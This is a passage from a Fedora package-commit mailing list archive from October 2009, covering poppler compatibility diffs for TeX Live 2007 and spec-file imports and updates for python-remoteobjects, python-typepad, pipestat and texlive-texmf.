 diff -up texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc.poppler texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc
---- texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc	2009-10-15 14:57:52.000000000 +0200
+--- texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc.poppler	2006-12-26 18:37:34.000000000 -0500
++++ texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc	2008-11-11 22:38:31.000000000 -0500
 @@ -26,25 +26,24 @@ $Id: pdftoepdf.cc,v 1.9 2006/09/01 18:06
  #include <stdio.h>
  #include <string.h>
@@ -146,24 +146,6 @@ diff -up texlive-2007/texk/web2c/pdftexd
      if (obj->isBool()) {
          pdf_printf("%s", obj->getBool()? "true" : "false");
      } else if (obj->isInt()) {
-@@ -634,7 +633,7 @@ static void writeEncodings()
-     }
-     for (r = encodingList; r != 0; r = n) {
-         n = r->next;
--        delete r->font;
-+        r->font->decRefCnt();
-         delete r;
-     }
- }
-@@ -689,7 +688,7 @@ read_pdf_info(char *image_name, char *pa
-     // this works only for PDF 1.x -- but since any versions of PDF newer
-     // than 1.x will not be backwards compatible to PDF 1.x, pdfTeX will
-     // then have to changed drastically anyway.
--    pdf_version_found = pdf_doc->doc->getPDFVersion();
-+    pdf_version_found = pdf_doc->doc->getPDFMajorVersion() + pdf_doc->doc->getPDFMinorVersion()/10.;
-     pdf_version_wanted = 1 + (minor_pdf_version_wanted * 0.1);
-     if (pdf_version_found > pdf_version_wanted) {
-         char msg[] =
 @@ -703,7 +702,7 @@ read_pdf_info(char *image_name, char *pa
      epdf_num_pages = pdf_doc->doc->getCatalog()->getNumPages();
      if (page_name) {
@@ -174,8 +156,8 @@ diff -up texlive-2007/texk/web2c/pdftexd
          if (link == 0 || !link->isOk())
              pdftex_fail("PDF inclusion: invalid destination <%s>", page_name);
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc.poppler texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc
---- texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc	2009-10-15 14:57:43.000000000 +0200
+--- texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc.poppler	2006-12-26 18:37:34.000000000 -0500
++++ texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc	2008-11-11 22:38:31.000000000 -0500
 @@ -25,22 +25,23 @@ $Id: //depot/Build/source.development/Te
  #include <stdio.h>
  #include <string.h>
@@ -241,8 +223,8 @@ diff -up texlive-2007/texk/web2c/pdftexd
      doc = new PDFDoc(fileName);
      if (!doc->isOk()) {
 diff -up texlive-2007/texk/web2c/pdftexdir/utils.c.poppler texlive-2007/texk/web2c/pdftexdir/utils.c
---- texlive-2007/texk/web2c/pdftexdir/utils.c.poppler	2007-01-01 18:20:03.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/utils.c	2009-10-15 14:57:43.000000000 +0200
+--- texlive-2007/texk/web2c/pdftexdir/utils.c.poppler	2007-01-01 12:20:03.000000000 -0500
++++ texlive-2007/texk/web2c/pdftexdir/utils.c	2008-11-11 22:38:31.000000000 -0500
 @@ -37,7 +37,7 @@ $Id: //depot/Build/source.development/Te
  #include "zlib.h"
  #include "ptexlib.h"
@@ -265,8 +247,8 @@ diff -up texlive-2007/texk/web2c/pdftexd
  
  
 diff -up texlive-2007/texk/web2c/xetexdir/pdfimage.cpp.poppler texlive-2007/texk/web2c/xetexdir/pdfimage.cpp
---- texlive-2007/texk/web2c/xetexdir/pdfimage.cpp.poppler	2006-12-09 11:29:12.000000000 +0100
-+++ texlive-2007/texk/web2c/xetexdir/pdfimage.cpp	2009-10-15 14:57:43.000000000 +0200
+--- texlive-2007/texk/web2c/xetexdir/pdfimage.cpp.poppler	2006-12-09 05:29:12.000000000 -0500
++++ texlive-2007/texk/web2c/xetexdir/pdfimage.cpp	2008-11-11 22:38:31.000000000 -0500
 @@ -11,10 +11,24 @@
  
  #include "pdfimage.h"
@@ -306,8 +288,8 @@ diff -up texlive-2007/texk/web2c/xetexdi
  	
  	if (!doc) {
 diff -up texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c.poppler texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c
---- texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c.poppler	2007-01-15 14:04:36.000000000 +0100
-+++ texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c	2009-10-15 14:57:43.000000000 +0200
+--- texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c.poppler	2007-01-15 08:04:36.000000000 -0500
++++ texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c	2008-11-11 22:39:46.000000000 -0500
 @@ -33,7 +33,7 @@ authorization from SIL International.
   */
  
@@ -345,8 +327,8 @@ diff -up texlive-2007/texk/web2c/xetexdi
  		);
  }
 diff -up texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler texlive-2007/texk/web2c/xetexdir/xetex.mk
---- texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler	2009-10-15 14:57:41.000000000 +0200
-+++ texlive-2007/texk/web2c/xetexdir/xetex.mk	2009-10-15 14:57:43.000000000 +0200
+--- texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler	2008-11-11 22:38:31.000000000 -0500
++++ texlive-2007/texk/web2c/xetexdir/xetex.mk	2008-11-11 22:38:31.000000000 -0500
 @@ -4,6 +4,10 @@
  
  Makefile: $(srcdir)/xetexdir/xetex.mk



From sdz at fedoraproject.org  Wed Oct 21 18:09:01 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Wed, 21 Oct 2009 18:09:01 +0000 (UTC)
Subject: rpms/python-remoteobjects/EL-5 import.log, NONE,
	1.1 python-remoteobjects.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091021180901.8634711C00E8@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/python-remoteobjects/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6791/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-remoteobjects.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-remoteobjects-1_0-2_fc11:EL-5:python-remoteobjects-1.0-2.fc11.src.rpm:1256148489


--- NEW FILE python-remoteobjects.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           python-remoteobjects
Version:        1.0
Release:        2%{?dist}
Summary:        An Object RESTational Model

Group:          Development/Languages
License:        BSD
URL:            http://sixapart.github.com/remoteobjects/
Source0:        http://pypi.python.org/packages/source/r/remoteobjects/remoteobjects-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel python-setuptools-devel
Requires:       python-httplib2 python-simplejson

%description
remoteobjects are real subclassable Python objects on which you can build a
rich API library.

remoteobjects provides easy coding and transfer between Python objects and a
JSON REST API. You can define the resources in a RESTful API as RemoteObject
classes and their properties. These objects then support using the basic HTTP
verbs to request and submit data to the API.

%prep
%setup -q -n remoteobjects-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT

 
%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0-2
- add setuptools as BR

* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-remoteobjects/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:55:10 -0000	1.1
+++ .cvsignore	21 Oct 2009 18:09:01 -0000	1.2
@@ -0,0 +1 @@
+remoteobjects-1.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-remoteobjects/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:55:11 -0000	1.1
+++ sources	21 Oct 2009 18:09:01 -0000	1.2
@@ -0,0 +1 @@
+d5d94c9b64f9ba6916d8f41e669f271f  remoteobjects-1.0.tar.gz



From smilner at fedoraproject.org  Wed Oct 21 18:13:55 2009
From: smilner at fedoraproject.org (smilner)
Date: Wed, 21 Oct 2009 18:13:55 +0000 (UTC)
Subject: rpms/pipestat/F-12 pipestat.spec,1.3,1.4
Message-ID: <20091021181355.448AB11C00E8@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/pipestat/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8026

Modified Files:
	pipestat.spec 
Log Message:
adding setuptools to requires


Index: pipestat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pipestat/F-12/pipestat.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- pipestat.spec	11 Aug 2009 17:08:51 -0000	1.3
+++ pipestat.spec	21 Oct 2009 18:13:55 -0000	1.4
@@ -3,7 +3,7 @@
 
 Name:           pipestat
 Version:        0.3.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Watches data flowing over an anonymous pipe
 
 Group:          Applications/System
@@ -14,6 +14,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 BuildArch:      noarch
 BuildRequires:  python-devel, python-setuptools
+Requires:       python-setuptools
 
 %description
 Simple python script to watch data flowing over an anonymous pipe
@@ -44,6 +45,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> - 0.3.0-2
+- Added setuptools as a requirement.
+
 * Fri Aug  7 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> - 0.3.0-1
 - Updated for upstream release.
 



From sdz at fedoraproject.org  Wed Oct 21 18:14:13 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Wed, 21 Oct 2009 18:14:13 +0000 (UTC)
Subject: rpms/python-typepad/EL-5 import.log, NONE, 1.1 python-typepad.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091021181413.F161711C00E8@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/python-typepad/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8112/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-typepad.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-typepad-1_0-1_fc11:EL-5:python-typepad-1.0-1.fc11.src.rpm:1256148822


--- NEW FILE python-typepad.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           python-typepad
Version:        1.0
Release:        1%{?dist}
Summary:        Connectivity to the TypePad API through remote objects

Group:          Development/Languages
License:        BSD
URL:            http://sixapart.github.com/python-typepad-api/
Source0:        http://pypi.python.org/packages/source/t/typepad/typepad-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel python-setuptools-devel
Requires:       python-batchhttp python-httplib2 python-oauth python-remoteobjects python-simplejson

%description
The typepad package contains RemoteObject implementations for TypePad's
content objects and an OAuth client for making authenticated requests to
the API.

%prep
%setup -q -n typepad-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT

 
%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-typepad/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:57:11 -0000	1.1
+++ .cvsignore	21 Oct 2009 18:14:13 -0000	1.2
@@ -0,0 +1 @@
+typepad-1.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-typepad/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:57:11 -0000	1.1
+++ sources	21 Oct 2009 18:14:13 -0000	1.2
@@ -0,0 +1 @@
+374e278abb7a8b985ea3a0d2f0908f42  typepad-1.0.tar.gz



From smilner at fedoraproject.org  Wed Oct 21 18:14:54 2009
From: smilner at fedoraproject.org (smilner)
Date: Wed, 21 Oct 2009 18:14:54 +0000 (UTC)
Subject: rpms/pipestat/F-11 pipestat.spec,1.1,1.2
Message-ID: <20091021181454.B9F0011C00E8@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/pipestat/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8415

Modified Files:
	pipestat.spec 
Log Message:
adding setuptools to requires


Index: pipestat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pipestat/F-11/pipestat.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pipestat.spec	11 Aug 2009 17:18:45 -0000	1.1
+++ pipestat.spec	21 Oct 2009 18:14:54 -0000	1.2
@@ -3,7 +3,7 @@
 
 Name:           pipestat
 Version:        0.3.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Watches data flowing over an anonymous pipe
 
 Group:          Applications/System
@@ -14,6 +14,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 BuildArch:      noarch
 BuildRequires:  python-devel, python-setuptools
+Requires:       python-setuptools
 
 %description
 Simple python script to watch data flowing over an anonymous pipe
@@ -44,6 +45,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> - 0.3.0-2
+- Added setuptools as a requirement.
+
 * Fri Aug  7 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> - 0.3.0-1
 - Updated for upstream release.
 



From smilner at fedoraproject.org  Wed Oct 21 18:15:15 2009
From: smilner at fedoraproject.org (smilner)
Date: Wed, 21 Oct 2009 18:15:15 +0000 (UTC)
Subject: rpms/pipestat/EL-5 pipestat.spec,1.1,1.2
Message-ID: <20091021181515.E42A411C00E8@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/pipestat/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8561

Modified Files:
	pipestat.spec 
Log Message:
adding setuptools to requires


Index: pipestat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pipestat/EL-5/pipestat.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pipestat.spec	11 Aug 2009 17:23:31 -0000	1.1
+++ pipestat.spec	21 Oct 2009 18:15:15 -0000	1.2
@@ -3,7 +3,7 @@
 
 Name:           pipestat
 Version:        0.3.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Watches data flowing over an anonymous pipe
 
 Group:          Applications/System
@@ -14,6 +14,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 BuildArch:      noarch
 BuildRequires:  python-devel, python-setuptools
+Requires:       python-setuptools
 
 %description
 Simple python script to watch data flowing over an anonymous pipe
@@ -44,6 +45,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> - 0.3.0-2
+- Added setuptools as a requirement.
+
 * Fri Aug  7 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> - 0.3.0-1
 - Updated for upstream release.
 



From jnovy at fedoraproject.org  Wed Oct 21 18:16:40 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed, 21 Oct 2009 18:16:40 +0000 (UTC)
Subject: rpms/texlive-texmf/F-11 texlive-2007-latin.patch, NONE,
	1.1 texlive-filter-requires.sh, 1.2, 1.3 texlive-texmf.spec,
	1.32, 1.33
Message-ID: <20091021181640.56BCE11C00E8@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/texlive-texmf/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9054

Modified Files:
	texlive-filter-requires.sh texlive-texmf.spec 
Added Files:
	texlive-2007-latin.patch 
Log Message:
* Tue Oct 20 2009 Jindrich Novy <jnovy at redhat.com> 2007-31
- do not conflict with dvipdfm
- update perl requires filter
- update latin.ldf (#469948)
- do not provide any perl dependencies (#516350)


texlive-2007-latin.patch:
 latin.ldf |  150 +++++++++++++++++++++-----------------------------------------
 1 file changed, 52 insertions(+), 98 deletions(-)

--- NEW FILE texlive-2007-latin.patch ---
diff -up texlive-texmf-2007/texmf-dist/tex/generic/babel/latin.ldf.latin texlive-texmf-2007/texmf-dist/tex/generic/babel/latin.ldf
--- texlive-texmf-2007/texmf-dist/tex/generic/babel/latin.ldf.latin	2006-08-27 20:22:43.000000000 +0200
+++ texlive-texmf-2007/texmf-dist/tex/generic/babel/latin.ldf	2009-10-15 21:09:44.000000000 +0200
@@ -5,47 +5,26 @@
 %% The original source files were:
 %%
 %% latin.dtx  (with options: `code')
+%% 
 %% This is a generated file.
 %% 
-%% Copyright 1989-2005 Johannes L. Braams and any individual authors
+%% Copyright 1989-2000 Johannes L. Braams and any individual authors
 %% listed elsewhere in this file.  All rights reserved.
 %% 
-%% This file was generated from file(s) of the Babel system.
-%% ---------------------------------------------------------
-%% 
-%% It may be distributed and/or modified under the
-%% conditions of the LaTeX Project Public License, either version 1.3
-%% of this license or (at your option) any later version.
-%% The latest version of this license is in
-%%   http://www.latex-project.org/lppl.txt
-%% and version 1.3 or later is part of all distributions of LaTeX
-%% version 2003/12/01 or later.
-%% 
-%% This work has the LPPL maintenance status "maintained".
-%% 
-%% The Current Maintainer of this work is Johannes Braams.
-%% 
-%% This file may only be distributed together with a copy of the Babel
-%% system. You may however distribute the Babel system without
-%% such generated files.
+%% This file is part of the Babel system release 3.7.
+%% --------------------------------------------------
 %% 
-%% The list of all files belonging to the Babel distribution is
-%% given in the file `manifest.bbl'. See also `legal.bbl for additional
-%% information.
-%% 
-%% The list of derived (unpacked) files belonging to the distribution
-%% and covered by LPPL is defined by the unpacking scripts (with
-%% extension .ins) which are part of the distribution.
-%% 
-%% Copyright 1999-2001 Claudio Beccari All rights reserved.
+%% It may be distributed under the terms of the LaTeX Project Public
+%% License, as described in lppl.txt in the base LaTeX distribution.
+%% Either version 1.1 or, at your option, any later version.
 \ProvidesFile{latin.ldf}
-        [2005/11/17 v2.0g Latin support from the babel system]
+        [2007/03/20 v.2.0f Latin support from the babel system]
 %% File `latin.dtx'
 %% Babel package for LaTeX version 2e
 %% Copyright (C) 1989 - 2005
 %%           by Johannes Braams, TeXniek
-%% Please report errors to: J.L. Braams babel at braams.cistron.nl
-%%                          Claudio Beccari beccari at polito.it
+%% Please report errors to: J.L. Braams
+%%                          JLBraams at cistron.nl
 \LdfInit{latin}{captionslatin}
 \ifx\l at latin\@undefined
     \@nopatterns{Latin}
@@ -56,10 +35,6 @@
   \expandafter\addto\expandafter\extraslatin
   \expandafter{\extrasmedievallatin}%
   }
-\bbl at declare@ttribute{latin}{withprosodicmarks}{%
-  \expandafter\addto\expandafter\extraslatin
-  \expandafter{\extraswithprosodicmarks}%
-  }
 \@namedef{captionslatin}{%
   \def\prefacename{Praefatio}%
   \def\refname{Conspectus librorum}%
@@ -84,11 +59,10 @@
   \def\glossaryname{Glossarium}%
   }
 \def\datelatin{%
-  \def\november{Novembris}%
+  \def\november{Novembris}
   \def\today{%
     {\check at mathfonts\fontsize\sf at size\z@\math at fontsfalse\selectfont
-      \uppercase\expandafter{\romannumeral\day}}\nobreakspace
-    \ifcase\month\or
+      \uppercase\expandafter{\romannumeral\day}}~\ifcase\month\or
     Ianuarii\or Februarii\or Martii\or Aprilis\or Maii\or Iunii\or
     Iulii\or Augusti\or Septembris\or Octobris\or \november\or
     Decembris\fi
@@ -105,19 +79,19 @@
 \babel at savevariable{\lccode`\V}%
 \babel at savevariable{\uccode`\u}%
 \lccode`\V=`\u \uccode`\u=`\V}
-\addto\extrasmedievallatin{%
-  \babel at savevariable{\lccode`\^^e6}% T1   \ae
-  \babel at savevariable{\uccode`\^^e6}% T1   \ae
-  \babel at savevariable{\lccode`\^^c6}% T1   \AE
-  \babel at savevariable{\lccode`\^^f7}% T1   \oe
-  \babel at savevariable{\uccode`\^^f7}% T1   \OE
-  \babel at savevariable{\lccode`\^^d7}% T1   \OE
-  \babel at savevariable{\lccode`\^^1a}% OT1  \ae
-  \babel at savevariable{\uccode`\^^1a}% OT1  \ae
-  \babel at savevariable{\lccode`\^^1d}% OT1  \AE
-  \babel at savevariable{\lccode`\^^1b}% OT1  \oe
-  \babel at savevariable{\uccode`\^^1b}% OT1  \OE
-  \babel at savevariable{\lccode`\^^1e}% OT1  \OE
+\addto\extraslatin{%
+  \babel at savevariable{\lccode`\^^e6}% T1
+  \babel at savevariable{\uccode`\^^e6}% T1
+  \babel at savevariable{\lccode`\^^c6}% T1
+  \babel at savevariable{\lccode`\^^f7}% T1
+  \babel at savevariable{\uccode`\^^d7}% T1
+  \babel at savevariable{\lccode`\^^d7}% T1
+  \babel at savevariable{\lccode`\^^1a}% OT1
+  \babel at savevariable{\uccode`\^^1a}% OT1
+  \babel at savevariable{\lccode`\^^1d}% OT1
+  \babel at savevariable{\lccode`\^^1b}% OT1
+  \babel at savevariable{\uccode`\^^1b}% OT1
+  \babel at savevariable{\lccode`\^^1e}% OT1
   \SetLatinLigatures}
 \providecommand\SetLatinLigatures{%
   \def\@tempA{T1}\ifx\@tempA\f at encoding
@@ -133,76 +107,56 @@
   \fi
   \let\@tempA\@undefined
   }
-\addto\extraslatin{\def\ProsodicMarksOn{%
-\GenericError{(latin)\@spaces\@spaces\@spaces\@spaces}%
-            {Latin language error: \string\ProsodicMarksOn\space
-            is defined by setting the\MessageBreak
-            language attribute to `withprosodicmarks'\MessageBreak
-            If you continue you are likely to encounter\MessageBreak
-            fatal errors that I can't recover}%
-            {See the Latin language description in the babel
-            documentation for explanation}{\@ehd}}}
-\addto\extraslatin{\let\ProsodicMarksOff\relax}
-\catcode`\= \active
-\catcode`\^ \active
-\addto\extraslatin{\languageshorthands{latin}}%
-\addto\extraswithprosodicmarks{\bbl at activate{^}}%
-\addto\extraswithprosodicmarks{\bbl at activate{=}}%
-\addto\noextraswithprosodicmarks{\bbl at deactivate{^}}%
-\addto\noextraswithprosodicmarks{\bbl at deactivate{=}}%
-\addto\extraswithprosodicmarks{\ProsodicMarks}
-\def\ProsodicMarks{%
-\def\ProsodicMarksOn{\catcode`\^ 13\catcode`\= 13\relax}%
-\def\ProsodicMarksOff{\catcode`\^ 7\catcode`\= 12\relax}%
-\initiate at active@char{^}%
-\initiate at active@char{=}%
+\initiate at active@char{^}
+\initiate at active@char{=}
+\addto\extraslatin{\languageshorthands{latin}}
+\addto\extraslatin{\bbl at activate{^}}
+\addto\extraslatin{\bbl at activate{=}}
+\addto\noextraslatin{\bbl at deactivate{^}}
+\addto\noextraslatin{\bbl at deactivate{=}}
 \declare at shorthand{latin}{^a}{%
-    \textormath{\u{a}\bbl at allowhyphens}{\hat{a}}}%
+    \textormath{\u{a}\allowhyphens}{\hat{a}}}
 \declare at shorthand{latin}{^e}{%
-    \textormath{\u{e}\bbl at allowhyphens}{\hat{e}}}%
+    \textormath{\u{e}\nobreak\hskip\z at skip}{\hat{e}}}
 \declare at shorthand{latin}{^i}{%
-    \textormath{\u{\i}\bbl at allowhyphens}{\hat{\imath}}}%
+    \textormath{\u{\i}\nobreak\hskip\z at skip}{\hat{\imath}}}
 \declare at shorthand{latin}{^o}{%
-    \textormath{\u{o}\bbl at allowhyphens}{\hat{o}}}%
+    \textormath{\u{o}\nobreak\hskip\z at skip}{\hat{o}}}
 \declare at shorthand{latin}{^u}{%
-    \textormath{\u{u}\bbl at allowhyphens}{\hat{u}}}%
+    \textormath{\u{u}\nobreak\hskip\z at skip}{\hat{u}}}
 \declare at shorthand{latin}{=a}{%
-    \textormath{\={a}\bbl at allowhyphens}{\bar{a}}}%
+    \textormath{\={a}\nobreak\hskip\z at skip}{\bar{a}}}
 \declare at shorthand{latin}{=e}{%
-    \textormath{\={e}\bbl at allowhyphens}{\bar{e}}}%
+    \textormath{\={e}\nobreak\hskip\z at skip}{\bar{e}}}
 \declare at shorthand{latin}{=i}{%
-    \textormath{\={\i}\bbl at allowhyphens}{\bar{\imath}}}%
+    \textormath{\={\i}\nobreak\hskip\z at skip}{\bar{\imath}}}
 \declare at shorthand{latin}{=o}{%
-    \textormath{\={o}\bbl at allowhyphens}{\bar{o}}}%
+    \textormath{\={o}\nobreak\hskip\z at skip}{\bar{o}}}
 \declare at shorthand{latin}{=u}{%
-    \textormath{\={u}\bbl at allowhyphens}{\bar{u}}}%
-}
-\catcode`\= 12\relax
-\catcode`\^ 7\relax
+    \textormath{\={u}\nobreak\hskip\z at skip}{\bar{u}}}
 \addto\extraslatin{\def\LatinMarksOn{\shorthandon{^}\shorthandon{=}}}
 \addto\extraslatin{\def\LatinMarksOff{\shorthandoff{^}\shorthandoff{=}}}
-\addtoextraslatin{\LatinMarksOff}
+\catcode`\= 12\relax
+\catcode`\^ 7\relax
 \initiate at active@char{"}%
 \addto\extraslatin{\bbl at activate{"}%
 }
-\declare at shorthand{latin}{"}{%
-  \ifmmode
+\declare at shorthand{latin}{"}{\ifmmode
     \def\lt@@next{''}%
-  \else
+\else
     \def\lt@@next{\futurelet\lt at temp\lt at cwm}%
-  \fi
-  \lt@@next
+\fi
+\lt@@next
 }%
 \def\lt at allowhyphens{\nobreak\discretionary{-}{}{}\nobreak\hskip\z at skip}
 \newcommand*{\lt at cwm}{\let\lt at n@xt\relax
-  \ifcat\noexpand\lt at temp a%
+\ifcat\noexpand\lt at temp a%
     \let\lt at n@xt\lt at allowhyphens
-  \else
+\else
     \if\noexpand\lt at temp\string|%
-      \def\lt at n@xt{\lt at allowhyphens\@gobble}%
+        \def\lt at n@xt{\lt at allowhyphens\@gobble}%
     \fi
-  \fi
-  \lt at n@xt}%
+\fi\lt at n@xt}%
 \ldf at finish{latin}
 %%
 %% \CharacterTable


Index: texlive-filter-requires.sh
===================================================================
RCS file: /cvs/pkgs/rpms/texlive-texmf/F-11/texlive-filter-requires.sh,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- texlive-filter-requires.sh	29 Aug 2008 05:09:04 -0000	1.2
+++ texlive-filter-requires.sh	21 Oct 2009 18:16:40 -0000	1.3
@@ -1,2 +1,2 @@
 #!/bin/sh
-/usr/lib/rpm/perl.req "$@" | grep -v 'perl(\(Tk\|Win32\|only\|path_tre\|just\|Htex\|Pts\|a\)'
+/usr/lib/rpm/perl.req "$@" | grep -v 'perl(\(Tk\|Win32\|only\|path_tre\|just\|Htex\|Pts\|a\|Reg_macro\)'


Index: texlive-texmf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/texlive-texmf/F-11/texlive-texmf.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- texlive-texmf.spec	25 Feb 2009 20:17:07 -0000	1.32
+++ texlive-texmf.spec	21 Oct 2009 18:16:40 -0000	1.33
@@ -9,9 +9,12 @@
 
 %define	ptex_texmf_ver 2.5
 
+# do not provide any perl deps (#516350)
+%define __perl_provides %{nil}
+
 Name:		texlive-texmf
 Version:	2007
-Release:	28%{?dist}
+Release:	31%{?dist}
 Summary:	Architecture independent parts of the TeX formatting system
 
 Group:		Applications/Publishing
@@ -58,6 +61,7 @@ Patch3:		texlive-2007-texmfconf.patch
 Patch4:		texlive-2007-romanian.patch
 Patch5:		texlive-2007-euro.patch
 Patch6:		texlive-2007-beamerblocks.patch
+Patch7:		texlive-2007-latin.patch
 
 # Patch1000-: Japanese pTeX
 Patch1001: texlive-2007-texmf.cnf-ptex.patch
@@ -181,6 +185,7 @@ install -p -m644 %{SOURCE50} texmf-var/d
 %patch4  -p0
 %patch5  -p0
 %patch6  -p0
+%patch7  -p1
 
 cp -p %{SOURCE91} .
 
@@ -422,6 +427,9 @@ rm -rf %{buildroot}%{_texmf_main}/doc/la
 # remove $TEXMFMAIN/tex/texinfo to not to clash with texinfo (#226488)
 rm -rf %{buildroot}%{_texmf_main}/tex/texinfo/
 
+# remove dvipdfm configuration file
+rm -rf %{buildroot}%{_texmf_main}/dvipdfm
+
 # create macro file for building texlive
 mkdir -p %{buildroot}%{_sysconfdir}/rpm
 cat <<EOF > %{buildroot}%{_sysconfdir}/rpm/macros.texlive
@@ -584,9 +592,6 @@ fi
 %{_texmf_main}/bibtex/bst/[a-b]*/
 %{_texmf_main}/bibtex/bst/camel/
 %{_texmf_main}/bibtex/bst/[d-x]*/
-%dir %{_texmf_main}/dvipdfm
-%dir %{_texmf_main}/dvipdfm/config
-%{_texmf_main}/dvipdfm/config/config
 %dir %{_texmf_main}/fmtutil
 %{_texmf_main}/makeindex/
 %{_texmf_main}/metafont/
